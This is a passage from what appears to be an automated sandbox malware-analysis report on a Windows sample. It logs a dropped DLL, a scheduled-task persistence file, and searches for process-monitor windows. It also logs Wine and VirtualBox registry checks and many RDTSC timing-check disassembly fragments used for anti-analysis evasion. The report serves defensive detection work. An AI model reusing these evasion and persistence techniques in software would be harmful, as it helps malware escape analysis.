Source: C:\Users\user\Desktop\Rnteb46TuM.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Code function: 0_2_6C7F55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C7F55F0

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2DD23D second address: 2DD245 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2CC2B2 second address: 2CC2B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2CC2B8 second address: 2CC2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2DC3D9 second address: 2DC3DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2DCB18 second address: 2DCB1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2DCB1F second address: 2DCB48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7FDD3F1872h 0x00000010 jno 00007F7FDD3F186Ch 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2DCB48 second address: 2DCB4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2DCB4E second address: 2DCB54 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2E06DE second address: 2E06E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2E06E4 second address: 2E06E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2E0862 second address: 2E08EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d mov esi, dword ptr [ebp+122D3A29h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F7FDCFD2298h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f mov si, 2734h 0x00000033 or dword ptr [ebp+122D19ACh], ebx 0x00000039 call 00007F7FDCFD2299h 0x0000003e jmp 00007F7FDCFD22A4h 0x00000043 push eax 0x00000044 jmp 00007F7FDCFD22A9h 0x00000049 mov eax, dword ptr [esp+04h] 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 jbe 00007F7FDCFD2296h 0x00000056 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2E08EA second address: 2E0909 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1873h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F7FDD3F1866h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2E0909 second address: 2E091A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2E091A second address: 2E09A1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F7FDD3F1871h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jno 00007F7FDD3F1884h 0x00000015 pop eax 0x00000016 mov esi, dword ptr [ebp+122D3157h] 0x0000001c add dword ptr [ebp+122D3351h], ebx 0x00000022 push 00000003h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F7FDD3F1868h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D313Eh], eax 0x00000046 mov dword ptr [ebp+122D31D5h], esi 0x0000004c push 00000003h 0x0000004e cmc 0x0000004f push 9C94E584h 0x00000054 push eax 0x00000055 push edx 0x00000056 push ecx 0x00000057 push edx 0x00000058 pop edx 0x00000059 pop ecx 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2E09A1 second address: 2E09CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F7FDCFD2296h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 5C94E584h 0x00000013 lea ebx, dword ptr [ebp+124555ABh] 0x00000019 sub ecx, 4AC77F77h 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F7FDCFD229Bh 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2E09CE second address: 2E09F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F186Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F7FDD3F1879h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7FDD3F186Bh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2E0A5E second address: 2E0A68 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7FDCFD2296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2E0A68 second address: 2E0A6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FF426 second address: 2FF432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FF432 second address: 2FF445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7FDD3F186Bh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FF445 second address: 2FF44A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FF44A second address: 2FF450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FF450 second address: 2FF462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jnl 00007F7FDCFD2296h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FF462 second address: 2FF468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FF5CE second address: 2FF5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7FDCFD2296h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FF89A second address: 2FF8A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FF8A0 second address: 2FF8A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FF8A4 second address: 2FF8D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1879h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b jp 00007F7FDD3F186Ch 0x00000011 jp 00007F7FDD3F1866h 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FFB42 second address: 2FFB48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FFDE1 second address: 2FFDFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7FDD3F1866h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F7FDD3F186Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FFF40 second address: 2FFF52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7FDCFD2296h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2FFF52 second address: 2FFF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jg 00007F7FDD3F1879h 0x0000000f jmp 00007F7FDD3F186Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3000C1 second address: 3000C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3003BC second address: 3003D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDD3F186Fh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2F3E21 second address: 2F3E42 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7FDCFD2298h 0x00000008 jl 00007F7FDCFD229Ch 0x0000000e jo 00007F7FDCFD2296h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jc 00007F7FDCFD2296h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2F3E42 second address: 2F3E46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2F3E46 second address: 2F3E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2F3E50 second address: 2F3E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 300C0A second address: 300C4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD22A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7FDCFD229Bh 0x0000000e popad 0x0000000f push ecx 0x00000010 pushad 0x00000011 jmp 00007F7FDCFD22A2h 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 300C4B second address: 300C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 300C4F second address: 300C53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 300DA0 second address: 300DA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 300DA6 second address: 300DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 301077 second address: 30107B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30107B second address: 301094 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7FDCFD2296h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F7FDCFD2298h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 301094 second address: 301098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 301098 second address: 30109C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3084BA second address: 3084C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3084C0 second address: 3084C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30867D second address: 3086BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7FDD3F1868h 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jl 00007F7FDD3F186Eh 0x00000013 jl 00007F7FDD3F1868h 0x00000019 pushad 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007F7FDD3F1878h 0x00000027 push esi 0x00000028 pop esi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 307520 second address: 307524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 307524 second address: 307543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7FDD3F1875h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 307543 second address: 307548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30DA65 second address: 30DA75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jg 00007F7FDD3F1866h 0x0000000b push esi 0x0000000c pop esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2D2DD6 second address: 2D2DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2D2DE3 second address: 2D2DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 2D2DE7 second address: 2D2DF1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7FDCFD2296h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30D37C second address: 30D380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 30D7D0 second address: 30D7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3105B8 second address: 3105F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F7FDD3F1872h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F7FDD3F1875h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3105F0 second address: 310601 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDCFD229Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 310601 second address: 310660 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7FDD3F1873h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F7FDD3F186Ch 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 push eax 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 jmp 00007F7FDD3F1874h 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 js 00007F7FDD3F1873h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 310A9A second address: 310AD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7FDCFD22A6h 0x00000009 popad 0x0000000a push eax 0x0000000b jl 00007F7FDCFD22B5h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7FDCFD22A3h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 310BF8 second address: 310BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	RDTSC instruction interceptor: First address: 3112A8 second address: 3112AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
